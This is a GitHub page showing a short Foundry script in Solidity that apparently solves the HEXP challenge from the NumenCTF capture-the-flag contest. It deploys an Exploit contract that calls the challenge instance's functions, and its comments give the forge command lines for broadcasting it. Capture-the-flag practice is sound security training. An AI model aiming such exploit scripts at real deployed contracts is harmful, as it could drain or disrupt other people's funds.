-
Notifications
You must be signed in to change notification settings - Fork 71
/
Copy pathExploit.s.sol
30 lines (25 loc) · 1.04 KB
/
Exploit.s.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
// forge script src/NumenCTF/HEXP/Exploit.s.sol:ExploitScript -vvvvv --private-key $PRIVATE_KEY --fork-url $RPC_URL --sig "run(address)" $INSTANCE_ADDRESS --legacy
// forge script src/NumenCTF/HEXP/Exploit.s.sol:ExploitScript -vvvvv --private-key $PRIVATE_KEY --fork-url $RPC_URL --sig "run(address)" $INSTANCE_ADDRESS --legacy --broadcast
interface IHEXP {
function target() external view returns (address);
function isSolved() external view returns (bool);
function f00000000_bvvvdlt() external;
}
contract Exploit {
function exploit(address instanceAddress) public {
IHEXP(instanceAddress).isSolved();
IHEXP(instanceAddress).target();
IHEXP(instanceAddress).f00000000_bvvvdlt();
}
}
contract ExploitScript is Script {
function run(address instanceAddress) public {
vm.startBroadcast();
Exploit exploit = new Exploit();
exploit.exploit(instanceAddress);
vm.stopBroadcast();
}
}